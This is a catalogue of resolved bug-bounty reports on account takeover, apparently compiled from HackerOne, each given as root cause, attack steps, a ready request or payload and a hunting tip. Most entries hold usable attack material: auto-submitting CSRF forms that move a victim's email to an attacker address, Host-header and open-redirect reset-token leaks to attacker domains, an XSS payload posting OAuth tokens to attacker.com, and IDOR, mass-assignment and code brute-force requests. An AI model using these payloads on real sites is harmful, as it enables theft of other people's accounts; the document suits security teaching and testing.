POST /chkUser.aspx HTTP/1.1
Host: TARGET.edu
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
dummy=&sendingForm=6&UID=TARGET_ID&last=test&frst=test&mail=attacker@evil.tld&test=1
Insight β Any endpoint that identifies the target account by a client-supplied numeric id rather than the session is a mass-ATO primitive. Incremental UIDs = full user-base takeover. Also test the same endpoint for CSRF. Same ASPX sendingForm/UID pattern was used unauthenticated for read/scraping in 1048540.
Real-world example
Session cookie is an unsigned user ID
β High
Specimen #215859 Β· deptofdefense Β· none Β· 21 votes Β· resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
A session cookie (PROD_CAS_SESSION) contained only the user's ID (a 6-digit number) with no signature/integrity check, so setting it to a victim's ID logs you in as them.
Method
- Log in and inspect the session cookie value
- Notice it equals your user ID (small integer namespace)
- Set the cookie to a victim's user ID and refresh
- You are authenticated as the victim
Cookie: PROD_CAS_SESSION=195141
Insight β Inspect session/auth cookies for meaningful, guessable content (user IDs, emails, base64 of the same). No HMAC/signature over the identifier means trivial horizontal takeover by enumerating a small ID space (CWE-565).
Real-world example
SSO bypass: unverified email -> zendeskToken JWT -> internal tickets
β High
Specimen #734936 Β· trint Β· none Β· 16 votes Β· resolved
Program trintSurface graphqlChain Unverified registration -> GraphQL zendeskToken -> ZenTag graphqlTag jwt
Root cause
The app allows registration with an unverified company-domain email (support+1@company.com); a GraphQL zendeskToken query then mints a Zendesk SSO JWT for that email, which the Zendesk /access/jwt endpoint accepts, granting the org's internal ticket view.
Method
- Register on app.company.com with support+1@company.com (no email verification)
- Send GraphQL query { zendeskToken } to the API with your bearer token
- Receive a signed Zendesk SSO JWT containing that email
- Open https://<org>.zendesk.com/access/jwt?jwt=<token> to log into Zendesk SSO
- Read the org's internal support tickets
POST / HTTP/1.1
Host: graphql2.trint.com
Authorization: Bearer <app_jwt>
{"query":"query zendeskToken { zendeskToken }"}
-> then: https://<org>.zendesk.com/access/jwt?jwt=<returned_jwt>
Insight β Missing email verification + a domain-scoped SSO bridge = privilege by email. Hunt for token-minting endpoints (zendeskToken, chatToken) whose output feeds a 3rd-party SSO /access/jwt endpoint.
Real-world example
CSRF ATO by switching JSON endpoint to form-urlencoded (email change)
β High
Specimen #1624421 Β· deptofdefense Β· $500 Β· 16 votes Β· resolved
Program deptofdefenseSurface webChain CSRF email change -> password reset/login -> account tTag account-takeover
Root cause
An account-update endpoint expected JSON but also processed application/x-www-form-urlencoded with no CSRF token; re-sending the body from an HTML form changed the victim's email with zero clicks, leading to account takeover.
Method
- Observe the account-update request uses JSON
- Change Content-Type to application/x-www-form-urlencoded and confirm the server still parses it
- Build an auto-submitting form that sets the victim's email to an attacker address
- Victim visits -> email changed -> ATO via reset/login
<form action="https://TARGET/user/account" method="POST" enctype="application/x-www-form-urlencoded">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.forms[0].submit()</script>
Insight β When a JSON endpoint has no CSRF token, resend its body as application/x-www-form-urlencoded from a plain HTML form; if the server still parses it, it is CSRFable. Email-change endpoints escalate straight to ATO.
Real-world example
Profile-edit email+user_id swap -> account takeover
β High
Specimen #1627961 Β· deptofdefense Β· awarded Β· 14 votes Β· resolved
Program deptofdefenseSurface webChain Mass-assignment of user_id/email -> identity swap -> ATag account-takeover
Root cause
The EditUserProfile endpoint lets a user change both their email and their user ID; by setting them to a victim's email and (brute-forced) user ID, the attacker's own password-known account is remapped onto the victim's identity, enabling login as the victim.
Method
- Create attacker + victim accounts
- As attacker, open /EditUserProfile and submit with your own known password
- Change email to victim@gmail.com
- In the intercepted request, change attacker user_id to the victim's user_id (brute force if needed) -> 302 success
- Revert your own email/ID fields and resubmit to restore consistency
- Log in with victim's email + your known password
POST /.../EditUserProfile
password=<ATTACKER_KNOWN_PW>&email=victim@gmail.com&user_id=<VICTIM_ID>
Insight β On profile-update endpoints, test whether identity keys (user_id, email, username) are attacker-settable (mass assignment). Writing your own user_id/email to a victim's values while keeping your known password re-binds credentials to the victim account.
Real-world example
ATO via email brace-injection chained to headless-Chrome debugger port leak in PDF renderer
β High
Specimen #779910 Β· h1-ctf Β· none Β· 11 votes Β· resolved
Program h1-ctfSurface webChain Email brace-injection -> account recovery/ATO -> storeTag account-takeover
Root cause
CTF chain, but two transferable primitives: (1) injecting brace characters into an email that leaks on the login page let the attacker register/recover a victim account; (2) a server-side PDF generator rendered attacker HTML in a headless Chrome that exposed its remote-debugging port, so an <iframe src=http://localhost:9222/json/list> in the rendered document leaks internal debugger data (session/secret).
Method
- Register using the victim's leaked email with {}/brace characters appended, then use account recovery to land in the victim account
- Submit a blind-XSS/HTML payload into a field that is later rendered into a server-side PDF
- Point an iframe at the local Chrome DevTools endpoint to read internal targets
- Extract the secret/session id from the debugger JSON in the rendered PDF
<iframe src="http://localhost:9222/json/list" style="width:100%;height:1000px"></iframe>
Insight β Server-side HTML->PDF/screenshot renderers are SSRF/LFI surfaces: they fetch file://, internal URLs, and β if built on headless Chrome with --remote-debugging-port open β the debugger endpoint (localhost:9222/json, /json/list) leaks page contents, cookies, and lets you drive other tabs. Always inject <iframe>/<img>/<link> pointing at 127.0.0.1:9222 and cloud metadata into any 'generate PDF/preview' feature.
Real-world example
Mass-assignable recovery email on profile POST -> full ATO
β High
Specimen #847452 Β· deptofdefense Β· none Β· 11 votes Β· resolved
Program deptofdefenseSurface webChain IDOR/mass-assign recovery email -> password reset to attaTag account-takeover
Root cause
The profile-update endpoint (/self) accepts attacker-controlled userName/originalEmail/Email/RecoveryEmail (and RecoveryEmailVerified) fields, letting an attacker set a recovery email on any account that has no verified recovery address, then trigger a password reset to that address.
Method
- Capture the /self profile POST while toggling 2FA
- Set userName to the victim and inject attacker RecoveryEmail with RecoveryEmailVerified=true
- Trigger password reset; reset link goes to attacker email
- Convert internal ids to usernames via the friends.json endpoint (RequesteeId -> ProfileUrl)
POST /self HTTP/1.1
Content-Type: application/x-www-form-urlencoded
__RequestVerificationToken=...&userName=VICTIM&originalEmail=victim%40x&RecoveryEmailVerified=true&Email=victim%40x&RecoveryEmail=attacker%40evil.com
Insight β Profile POSTs often accept identity fields the UI never exposes (recovery email, username, verified flags). Graft a recovery email onto a victim and chain to password reset. Mine list/friends endpoints to turn numeric ids into login names.
Real-world example
CSRF email change -> password reset -> ATO
β High
Specimen #7116 Β· irccloud Β· none Β· 4 votes Β· resolved
Program irccloudSurface webChain CSRF email overwrite -> password reset to attacker mailboTag account-takeover
Root cause
The account-settings/email endpoint accepts cross-site requests with no CSRF token, so an attacker can silently overwrite the victim's email address, then use forgot-password to seize the account.
Method
- Craft an auto-submitting form to the user-settings/email-update endpoint with attacker-controlled email
- Victim (logged in) opens attacker page; server responds success and changes victim email
- Attacker triggers forgot-password to the new attacker email and resets the password
<form action="https://www.irccloud.com/chat/user-settings" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.forms[0].submit()</script>
Insight β Any tokenless 'change email' action is an account-takeover primitive, not a low-sev CSRF: pair it with the app's own password-reset flow. Always test email/recovery-address change endpoints for CSRF first.
Real-world example
Google One Tap ATO via unverified email + GSuite domain claim
β High
Specimen #671406 Β· priceline Β· awarded Β· 79 votes Β· resolved
Program pricelineSurface webChain domain claim -> One Tap identity -> ATO of any accountTag oauthTag account-takeover
Root cause
The backend trusts the email in a Google One Tap credential without confirming the user controls it; an attacker registers the victim's email domain in a free trial GSuite (unverified), creates a Google account for the victim's email, and One Tap logs into the pre-existing victim account.
Method
- Victim account exists (email/password) at target
- Attacker signs up trial GSuite and claims the victim's email domain (must not already be Google-registered)
- Create a Google account for victim@domain (no domain verification needed)
- Trigger One Tap on target in that browser; sign in -> lands in the victim's existing account
Insight β Sites that auto-link Google/One Tap identities by email are vulnerable if they don't require the local account's email to be provably owned. Test with a domain you can register in trial GSuite. Broader lesson: never merge SSO identity to a local account on email alone.
Real-world example
Account switch trusts linked third-party (Steam/Epic) identity without re-auth
β High
Specimen #1235008 Β· rockstargames Β· awarded Β· 54 votes Β· resolved
Program rockstargamesSurface desktopChain control linked Steam/Epic -> launcher switches to victim Tag account-takeoverTag oauth
Root cause
The launcher lets a user switch into a Social Club account that was previously linked to the current Steam/Epic account without prompting for Social Club credentials; possessing the linked third-party account is treated as proof of identity, bypassing the victim's password and MFA.
Method
- Obtain a Steam/Epic account (with a Social-Club-connected game) that was previously linked to the victim's Social Club account.
- Launch a Rockstar game; the launcher offers to switch to the linked Social Club account with no credential prompt.
- Gain full access to the victim's Social Club account despite their MFA.
Insight β When an app links a first-party account to a third-party identity, test whether re-entering the first-party context re-authenticates. 'You control the linked account, so you must be the owner' collapses the auth boundary and defeats MFA. Fix: require re-auth on account switch.
Real-world example
Add email without re-auth, then Forgot-Password to attacker address
β High
Specimen #721341 Β· khanacademy Β· none Β· 24 votes Β· resolved
Program khanacademySurface webChain add email (no reauth) -> password reset to attacker emailTag account-takeover
Root cause
Sensitive account settings (connecting a new email) required no re-authentication, so anyone with a live session could attach an attacker-controlled email and then use the standard password-reset flow to that email to fully take over the account.
Method
- With access to a logged-in session, go to /settings and 'Connect an email' with an attacker address (no password prompt)
- Log out; use 'Forgot Password' to send a reset to the newly added attacker email
- Reset the password and log in - account taken over
Insight β Any state change that can bootstrap a reset (add/confirm email, change phone) must require re-authentication. On shared computers, a live session + no step-up = ATO. Check whether adding a recovery identifier is protected.
Real-world example
ATO via unverified email pre-claim + session mapping on later registration
β High
Specimen #3324823 Β· deptofdefense Β· none Β· 15 votes Β· resolved
Program deptofdefenseSurface webChain unverified email change -> victim self-registers same emaTag account-takeoverTag oauth
Root cause
Email change accepts an unregistered address with no ownership verification; when the real owner later registers with that email, the identity/session logic maps the attacker's un-invalidated session onto the victim's newly created account.
Method
- Register (e.g. via Google SSO) and change your account email to the victim's not-yet-registered address; no verification is required.
- Wait for the victim to register on the site with that same email.
- Attacker's existing session (and re-login) now resolves to the victim's account data.
Insight β Test email-change flows for (a) ownership verification and (b) what happens when two identities converge on one email. Pre-claiming an unregistered email is a potent, easily-missed ATO vector, especially in SSO + local-account hybrids.
Real-world example
2FA enrollment on victim ID + login by ID+code only
β Medium
Specimen #810880 Β· helium Β· USD 100 Β· 91 votes Β· resolved
Program heliumSurface apiChain IDOR 2FA enroll -> credential-less 2FA verify -> ATO (Tag account-takeover
Root cause
Two flaws chain: /api/2fa lets you enroll 2FA for an arbitrary user_id (no ownership check), and /api/2fa/verify authenticates using only user_id + a valid TOTP code with no session/credential binding, so an attacker who set up the secret can log in as the victim.
Method
- As attacker, start 2FA enroll but substitute the victim's user_id in the /api/2fa request -> 2FA now bound to victim with attacker's secret
- Compute a valid code from that secret
- POST /api/2fa/verify with victim's user_id + code (no token/cookie) -> logged in as victim
POST /api/2fa { id: <victim_id>, ... } # binds attacker secret to victim
POST /api/2fa/verify { id: <victim_id>, code: <valid_totp> }
Insight β Check whether 2FA-enrollment and 2FA-verify endpoints bind to the SESSION or to a client-supplied user_id. IDOR on enroll + credential-less verify = full ATO for accounts that skipped 2FA. user_id is often leaked at a /users listing.
Real-world example
SSO account pre-linking via editable email on unlinked account
β Medium
Specimen #892904 Β· shopify Β· awarded Β· 84 votes Β· resolved
Program shopifySurface graphqlChain Edit unlinked victim email -> Google SSO login as victim Tag graphqlTag account-takeover
Root cause
An admin GraphQL mutation (StaffMemberUpdate) allowed changing a staff/owner email that had not yet been linked to SSO; if the store uses Google Apps login, setting the victim's email to an attacker-controlled address in the SSO domain lets the attacker log in as them and permanently link their Google account.
Method
- As a staff member with POS access, capture the StaffMemberUpdate GraphQL request for a target staff/owner who has never logged in via Google
- Change the email field to your own address within the store's configured Google Apps domain
- Log out and log in via 'Google Apps' with that email -> you land in the victim's account, now linked to your Google identity
POST https://pos-channel.shopifycloud.com/graphql-proxy/admin
# operation: StaffMemberUpdate
# set variables.email = attacker@<victim-google-apps-domain>
# then log in with Google using that address
Insight β For any 'link SSO on first login' design, an account that hasn't linked yet is takeover-able if you can set its email to an address you control in the trusted SSO domain. Hunt for admin/staff-update endpoints that let you change another user's (or your own) email pre-link; combine with XSS to hit an already-privileged owner.
Real-world example
Re-enabling one-time invite link for active account
β Medium
Specimen #1266828 Β· shopify Β· USD 1600 Β· 53 votes Β· resolved
Program shopifySurface webChain Invite-link generation -> password reset -> account taTag account-takeover
Root cause
Wholesale 'Get invite link' was blocked in the UI for already-activated customers (since the link resets their password), but calling send_invite then invite_links directly re-generated a valid invitation token -> full account takeover.
Method
- Log in as staff with only Apps/Channels (wholesale) permission
- UI blocks invite for an active customer
- POST /admin/shops/<id>/accounts/<victim>/send_invite
- POST /admin/shops/<id>/accounts/<victim>/invite_links -> returns invitation_token
- Use token to set the victim's password
POST /admin/shops/19596/accounts/{VICTIM_ID}/send_invite HTTP/2
Host: wholesale.shopifyapps.com
...
POST /admin/shops/19596/accounts/{VICTIM_ID}/invite_links HTTP/2
# 201 -> {"invite_link":".../accounts/invitation/accept?invitation_token=..."}
Insight β When the UI disables a dangerous action for a certain state, hit the underlying endpoints directly and in sequence. A guard placed only on the button (not the API) plus a password-setting invite token = ATO.
Real-world example
Auth tokens (reset/autologin) not invalidated on email/password change
β Medium
Specimen #411337 Β· chaturbate Β· awarded Β· 46 votes Β· resolved
Program chaturbateSurface webTag account-takeover
Root cause
Password-reset and persistent auto-login links remained valid after the user changed their email address and/or password, so an attacker holding an old link from a compromised old mailbox could still take over the (now 'secured') account.
Method
- Obtain an old, unused password-reset or autologin link (e.g. from a compromised old email)
- Victim rotates their email and password believing the account is secured
- Open the old link
- Still logged in / able to reset -> account takeover
# stale but still-valid links:
https://chaturbate.com/accounts/autologin/?<token>
https://chaturbate.com/... /password-reset?token=<token>
Insight β Reset/magic-login/session tokens must be invalidated on credential and email changes. Test token lifecycle: issue a token, change email then password, and replay the old token - if it still works you have a post-remediation ATO.
Real-world example
Password reset authorized by a long-lived cookie instead of the emailed token
β Medium
Specimen #1004536 Β· weblate Β· none Β· 40 votes Β· resolved
Program weblateSurface webChain reset link click -> lingering cookie -> local attackerTag account-takeover
Root cause
Clicking the reset link set a cookie that carried the reset authorization; the actual set-new-password page then trusted that cookie (persisting for hours) rather than requiring the emailed token, so anyone with later access to the browser could open the reset page and change the password.
Method
- Victim clicks a legitimate password-reset link (sets the reset cookie)
- Victim navigates away / closes the tab without completing
- Attacker with access to the same browser visits the reset page directly and sets a new password using the lingering cookie
# after clicking reset link a cookie persists for hours
GET /accounts/reset/ -> allows setting new password without re-presenting the emailed token
Insight β Password-reset authorization must live in the single-use, short-lived token, not in a durable cookie/session flag. Test: click the reset link, then in a fresh tab hit the set-password URL directly β if it works without the token, it is a shared-device / lingering-state ATO.
Real-world example
Open redirect in password-reset link leaks reset token -> account takeover
β Medium
Specimen #2341038 Β· mars Β· none Β· 40 votes Β· resolved
Program marsSurface webChain open redirect in reset flow -> token exfiltration (URL/ReTag account-takeover
Root cause
The password-reset email link contains a parameter that specifies the path/host of the reset page. An attacker changes it to a domain they control; when the victim opens the link, the reset token travels to the attacker (in the URL or via Referer), letting the attacker reset the password.
Method
- Request a password reset and inspect the emailed link for a host/path/redirect parameter.
- Tamper it to point at an attacker domain while preserving the token-bearing portion.
- Have the victim open the (legitimate-looking, same-brand) link; capture the leaked reset token and reset their password.
https://TARGET/reset?path=//attacker.tld/&token=RESET_TOKEN (attacker receives token in URL / Referer)
Insight β Any redirect/host/path parameter that rides alongside a secret token (reset, magic-link, OAuth) turns a 'low' open redirect into full ATO. When triaging open redirect, always check whether a token is present on the same request or leaks via Referer.
Real-world example
Self-XSS weaponized via login/logout CSRF -> OAuth token theft
β Medium
Specimen #632017 Β· eternal Β· 300 Β· 31 votes Β· resolved
Program eternalSurface webChain Self stored XSS + WAF bypass + logout CSRF + login CSRF ->Tag oauthTag account-takeover
Root cause
A stored self-XSS in a review (with_tags_data param, WAF bypassed) is only self-triggering. Chained with logout CSRF + login CSRF (asyncLogin.php accepts a forged form), the attacker force-logs-the-victim into the ATTACKER's account, where the payload fires and steals the victim's Facebook OAuth tokens.
Method
- Store XSS payload in a review under the attacker account (with_tags_data)
- Build a page that: logs victim out (img src=/logout), submits a forged asyncLogin form to log victim into attacker's account, then redirects to the XSS review
- Payload runs FB.login and posts FB.getAuthResponse() to attacker; victim's tokens captured
- Attacker uses tokens to log into victim's real account
<script>FB.init({appId:'288523881080',version:'v3.1'});FB.login(function(){$.post('https://attacker.com/tokens.php',FB.getAuthResponse());document.location='https://www.zomato.com/logout';});</script>
<form method=post action="https://www.zomato.com/php/asyncLogin.php?access_token=..."> ... </form>
Insight β Self-XSS is exploitable when the app has login/logout CSRF: force the victim into the attacker's session so 'self' payloads run in the victim's browser and harvest the victim's OAuth/SSO tokens on re-auth. Always test login CSRF as the multiplier for self-XSS.
Real-world example
Login to any account by swapping account-id in an iframe login URL
β Medium
Specimen #98247 Β· deriv Β· awarded Β· 27 votes Β· resolved
Program derivSurface webTag account-takeover
Root cause
The cashier sub-application authenticated via a GET URL containing PIN=<account_id> plus a static Password/Secret pair rendered into an iframe src; changing PIN to the victim's account id logged you into their cashier without any per-user secret.
Method
- Open your own cashier flow; inspect the page for the <iframe id=cashiercont> src
- Note the login URL carries PIN, Password, Secret as query params
- Edit the iframe src, replacing PIN with the victim's account id, and load it
- You are logged into the victim's cashier - view PII and payout details
<iframe id="cashiercont" src="https://cashier.TARGET/login.asp?...&PIN=<VICTIM_ACCOUNT_ID>&Password=<STATIC_HASH>&Secret=<STATIC>&Action=DEPOSIT"></iframe>
Insight β Auth material passed in URL query params (PIN=id, shared Password/Secret) is an IDOR-style ATO: the identity token is a guessable user id and the 'secret' is constant. Inspect iframe/redirect login URLs for user-controlled identity fields.
Real-world example
Login CSRF / session donation via logout + reset-token change-password
β Medium
Specimen #727 Β· security (HackerOne) Β· 150 Β· 27 votes Β· resolved
Program security (HackerOne)Surface webChain logout CSRF -> reset-token CSRF -> session donation / Tag account-takeover
Root cause
The password-change-via-reset-token endpoint has no CSRF token, so an attacker who holds their OWN reset token can force a logged-in victim's browser to (1) log out then (2) set the attacker's known credentials, seating the victim inside the attacker's account (session donation) where the victim's later actions/data are captured.
Method
- Force logout of the victim (CSRF POST /users/sign_out with _method=delete).
- CSRF the password/reset endpoint using the ATTACKER's own reset_password_token + attacker-chosen password.
- Victim is now authenticated as the attacker; monitor everything they enter into that account.
<!-- 1) logout --><form action="https://target/users/sign_out" method=POST><input name=_method value=delete></form>
<!-- 2) set attacker creds via reset token --><form action="https://target/users/password" method=POST>
<input name=_method value=put>
<input name="user[reset_password_token]" value="ATTACKER_TOKEN">
<input name="user[password]" value="attackerpass">
<input name="user[password_confirmation]" value="attackerpass"></form>
Insight β Login/logout are state changes too - protect them with CSRF tokens. Session donation is the inverse of ATO: you push the victim into YOUR account to harvest what they type (payment info, messages). Also seen as login CSRF via email-confirmation links.
Real-world example
Profile name-change API also changes email without verification
β Medium
Specimen #906790 Β· acronis Β· awarded Β· 21 votes Β· resolved
Program acronisSurface apiTag account-takeover
Root cause
The account update endpoint used by the (email-disabled) name-change modal also accepts an email field and applies it with no verification, letting an attacker set an app-level email to any not-yet-verified address and impersonate/take over that account.
Method
- Open the name-change modal (email field shown as disabled)
- Capture the save request (PUT /fc/api/v1/account) and add/modify the email field
- Send a target email; 204 = success, 'email already taken' = that email is verified (try another)
- App-level identity switches to the new email without any confirmation
PUT /fc/api/v1/account
{"name":"Human Resource","email":"hr@acronis.com"}
Insight β A 'disabled' field in the UI is still submittable in the raw request. Test whether write endpoints honor extra/locked fields (mass-assignment) and whether identity-critical changes (email/phone) skip re-verification; the 'already taken' response also acts as a verified-email oracle.
Real-world example
Password reset via victim-email parameter tampering
β Medium
Specimen #315879 Β· starbucks Β· none Β· 18 votes Β· resolved
Program starbucksSurface webTag account-takeover
Root cause
The reset flow carries the target email as a client-supplied parameter alongside the reset token; swapping it to the victim's email applies the attacker's token to the victim account.
Method
- Request reset for attacker's own email; open the reset link with a proxy
- In the reset submit request(s), change the email field to victim@email.com
- Submit; victim's password is changed, no victim interaction
POST /resetPassword token=<attacker_token>&email=victim@email.com&password=NewPass1!
Insight β Reset tokens must be bound server-side to the account that requested them; if the email is a separate tamperable field, one valid token becomes a universal reset.
Real-world example
Password-reset token leak via Host header
β Medium
Specimen #737042 Β· stripo Β· none Β· 18 votes Β· resolved
Program stripoSurface webChain host header poisoning -> reset link on attacker domain -&Tag account-takeover
Root cause
The password-reset link was constructed from the incoming Host header, so poisoning the Host causes the emailed reset URL (with the valid token) to point at an attacker-controlled domain, leaking the token when the victim clicks.
Method
- Request a password reset for the victim while injecting/poisoning the Host header
- Victim receives a reset link whose domain is the attacker's
- When the victim opens it (or a loaded third-party resource sends Referer), the reset token reaches the attacker
- Attacker uses the token to reset the victim's password
POST /password/reset
Host: attacker.evil.com (reset email link -> https://attacker.evil.com/reset?token=<valid>)
Insight β Password-reset flows that build the link from Host (or X-Forwarded-Host) leak the token to attacker infrastructure -> full ATO. Always test Host / X-Forwarded-Host injection on reset endpoints and check where the emailed link points.
Real-world example
Canonical CSRF ATO chain: email change then password reset
β Medium
Specimen #6910 Β· irccloud Β· awarded Β· 16 votes Β· resolved
Program irccloudSurface webChain CSRF email change -> confirm -> password reset -> fTag account-takeover
Root cause
A tokenless CSRF on the user-settings endpoint let an attacker change the victim's account email; confirming that email then using password reset seizes the account.
Method
- Auto-submit a cross-site form to /chat/user-settings setting email=attacker
- Attacker receives the confirmation email and confirms
- Attacker triggers password reset to the attacker email and takes over the account
<form action="https://www.irccloud.com/chat/user-settings" method="post">
<input type="hidden" name="email" value="hacker@example.com">
<input type="hidden" name="realname" value="x">
<input type="hidden" name="autoaway" value="1">
<input type="hidden" name="reqid" value="1">
<input type="hidden" name="session" value="">
</form>
<script>document.forms[0].submit()</script>
Insight β The canonical CSRF ATO chain: change email via CSRF, then use password reset to the attacker address. Any email/profile update lacking a token is a full-ATO primitive. Also seen forcing a LISTSERV password-set form (wa.exe GETPW2 params) on a .mil target (#987751).
Real-world example
Search-engine-indexed auto-login (magic) links -> ATO
β Medium
Specimen #260755 Β· automattic Β· awarded Β· 16 votes Β· resolved
Program automatticSurface webTag account-takeover
Root cause
A legacy 'force-by-email' auto-login URL (email + token, no expiry) authenticated the user on visit; these links got crawled and indexed by Google, so anyone could dork them and land inside the victim's account.
Method
- Google-dork the target for authentication/magic links: site:target inurl:email / inurl:token / force-by-email / login-token.
- Open an indexed auto-login URL; observe it silently authenticates as the linked user.
- Confirm full profile access without credentials.
site:secure.gravatar.com inurl:email
# opening an indexed /accounts/force-by-email/.../<token> URL auto-authenticates
Insight β Persistent, non-expiring auth tokens in URLs leak everywhere - browser history, Referer, proxy logs, and search indexes. Always dork the target for magic-login/reset links; and when auditing your own app, ensure such URLs are single-use, short-lived, and robots-disallowed.
Real-world example
Password reset via brute-forcing a short verification code (no rate limit)
β Medium
Specimen #767765 Β· clario Β· USD 300 Β· 10 votes Β· resolved
Program clarioSurface apiTag account-takeover
Root cause
The password-reset verification endpoint accepts a 4-character code (A-Z0-9, ~1.68M combinations) with no rate limiting and a clear success/failure oracle (200 vs 401), so any account can be taken over knowing only the victim email.
Method
- POST /v1/verification-code/forgot-password with victim email and an attacker-chosen device_id
- POST /v1/verification-code/auth with the same device_id, brute-forcing the code field
- Correct code returns 200 (else 401); then set a new password -> ATO
POST /v1/verification-code/forgot-password
{"email":"victim@example.com","device_id":"helloworld"}
POST /v1/verification-code/auth
{"code":"A1B2","device_id":"helloworld"} # brute force code, 200=hit 401=miss
Insight β Short reset/OTP codes are only safe with strict rate limiting AND lockout tied to the account, not just the session/device_id. Always compute the keyspace (charset^length) and test whether the verify endpoint throttles; a stable 200/401 oracle makes it trivial.
Real-world example
CSRF email change chained with password-reset-to-attacker-mailbox -> ATO
β Medium
Specimen #1626356 Β· deptofdefense Β· none Β· 10 votes Β· resolved
Program deptofdefenseSurface webChain CSRF change email -> forgot-password to attacker email -&Tag account-takeover
Root cause
Account-info update lacks anti-CSRF token; combined with a password-reset flow that emails the credential/link to an unverified, attacker-supplied address, a single lured click yields full account takeover.
Method
- Host an auto-submit form that POSTs the victim's my-account update with the email fields set to an attacker-controlled (temp) mailbox.
- Lure the logged-in victim to click; their account email is silently changed.
- On the login page, trigger 'forgot password' for the victim's username.
- Read the reset link/password delivered to the attacker mailbox and take over.
<form action="https://TARGET/registration/my-account.cfm" method="POST">
<input type="hidden" name="txtEmail1" value="attacker@tempmail.tld"/>
<input type="hidden" name="txtEmail2" value="attacker@tempmail.tld"/>
<input type="hidden" name="cmdSubmit" value="Update My Account"/>
</form>
<script>history.pushState('', '', '/');document.forms[0].submit()</script>
Insight β The email-change field is the highest-value CSRF sink: it converts a 'low' settings CSRF into critical ATO whenever password reset targets the (now attacker-controlled) email. Always chain a settings-CSRF PoC through the reset flow to demonstrate real impact. Rails apps: also test blank `authenticity_token` + `_method=patch` (#100849).
Real-world example
CSRF email change -> password reset -> account takeover
β Medium
Specimen #410099 Β· deptofdefense Β· none Β· 7 votes Β· resolved
Program deptofdefenseSurface webChain CSRF change email -> forgot-password to attacker email -&Tag account-takeover
Root cause
The account-details/profile update form does not enforce a CSRF token, so an attacker forces the victim to overwrite their own email with the attacker's; the attacker then runs the normal forgot-password flow to seize the account.
Method
- Capture the profile/account-details save request; build a self-submitting CSRF form that sets email=attacker@evil.com
- Victim (authenticated) opens the attacker page; their account email is silently changed
- Attacker requests 'forgot password' for attacker@evil.com, receives the reset link, and takes over the account
<form action="https://TARGET/account/save" method="POST" enctype="multipart/form-data">
<input name="action" value="save_info">
<input name="email[original]" value="attacker@evil.com">
</form>
<script>document.forms[0].submit()</script>
Insight β The single most repeated CSRF->ATO pattern in the corpus: any unprotected 'update my email' action is a full account takeover because email is the password-reset anchor. Check email-change for (a) no token, (b) no current-password re-auth, (c) no confirm-to-old-email step. Seen across many programs: #1066083, #799895, #6907 (email change->ATO) and #473798 (profile-field change, no ATO).
Real-world example
CSRF adds attacker 2FA phone with auto-verify -> 2FA bypass
β Medium
Specimen #155774 Β· slack Β· 500 Β· 6 votes Β· resolved
Program slackSurface webChain CSRF add attacker 2FA phone -> relay+verify OTP -> attTag account-takeover
Root cause
The 'add 2FA SMS number' endpoint does not validate the CSRF crumb, so an attacker forces the victim to register an attacker-controlled phone; the attacker relays the SMS code back through the victim's browser to auto-verify it, then uses that number to satisfy 2FA at login.
Method
- Victim opens attacker page; hidden form POSTs to /account/settings/2fa_sms with attacker phone (no crumb)
- Attacker's server receives the SMS code and pushes it back to the victim page
- Second hidden form POSTs the confirmation_code to verify the attacker number
- Attacker (who already has/obtains the password) logs in and requests the 2FA code to the attacker number, bypassing 2FA
<form action="https://TARGET/account/settings/2fa_sms" method="POST" target=hidden>
<input name="verify_two_factor" value="1">
<input name="country_code" value="AU">
<input name="phone_number" value="ATTACKER_PHONE">
</form>
<script src="http://attacker/relay"></script> <!-- delivers SMS code -->
<script>document.forms[0].submit()</script>
Insight β Security-enrollment endpoints (add 2FA device, add recovery email/phone, add API token) must enforce CSRF AND step-up auth. If they don't, CSRF converts into a persistent auth-bypass. The 'auto-verify by relaying the OTP through the victim's own browser' trick generalizes to any add-then-confirm flow.
Real-world example
Password-reset link survives account email change
β Medium
Specimen #685007 Β· imgur Β· awarded Β· 84 votes Β· resolved
Program imgurSurface webTag account-takeover
Root cause
A password-reset token is not invalidated when the account's email address is subsequently changed, so an old reset link issued to a prior email still resets the current account's password.
Method
- Attacker (former email owner / prior access) requests a reset link and saves it unopened
- Account email is later changed (e.g. victim recovers/updates account)
- Open the old reset link -> password is reset -> attacker regains control
Insight β Reset tokens must be invalidated on email change, password change, and login. Test: issue a reset link, change the email, then try the old link. Same class covers 'reset link valid after password change'.
Real-world example
Email change without password re-auth enables ATO
β Medium
Specimen #292673 Β· coursera Β· none Β· 20 votes Β· resolved
Program courseraSurface webChain open session -> change email (no re-auth) -> forgot paTag account-takeover
Root cause
Changing the account email required neither the current password nor confirmation to the old email; combined with forgot-password on the new address, an attacker with a briefly-open session fully takes over the account.
Method
- With access to a logged-in session, change the account email to attacker's address
- App sends verification only to the new email (no old-email notice, no password prompt)
- Verify, then use forgot-password to reset and lock out the owner
Insight β Sensitive-action re-authentication is a control to test: email/phone/password changes should require the current password and notify the old address. Missing re-auth on email change is a standard ATO chain link.
Real-world example
ATO via non-session-bound social-import link (FB relink)
β Medium
Specimen #121827 Β· bumble Β· awarded Β· 19 votes Β· resolved
Program bumbleSurface webChain unbound import link -> victim FB relinked to attacker -&gTag account-takeoverTag oauth
Root cause
The 'import photos from Facebook' flow generated a link/token not bound to the initiating user; opening it in a victim's session (even clicking Cancel) rebound the victim's linked Facebook account to the attacker's, enabling login-via-Facebook takeover.
Method
- Attacker and victim each link a Facebook account
- Attacker starts FB photo-import and copies the URL
- Victim opens the link in their session and clicks Cancel
- Victim's FB link is replaced by the attacker's FB account
- Attacker logs in via Facebook straight into the victim account
Insight β Social-account linking tokens that are not bound to the current session are ATO primitives; test whether a link/token generated in account A performs the link/unlink when opened in account B's session.
Real-world example
Email-change token not invalidated on subsequent email change (stale link ATO)
β Low
Specimen #1114347 Β· mattermost Β· awarded Β· 132 votes Β· resolved
Program mattermostSurface webTag account-takeover
Root cause
Changing the account email to address B emailed a verification link to B; changing the email again to address C (and verifying it) did NOT invalidate B's link, so whoever controlled B could still verify and take over the account.
Method
- Victim changes email to attacker@ex.com (typo/mistake) -> link sent to attacker
- Victim changes email again to a mailbox they own and verifies it
- Attacker clicks the still-valid original link -> verifies attacker@ex.com -> ATO
GET /verify_email?token=<old-token-for-attacker-address> (still valid after a later email change)
Insight β Security-sensitive tokens (email change, password reset, invites) must be invalidated on any state change. Test: request token, change state, then replay the old token - if it still works it's an ATO.
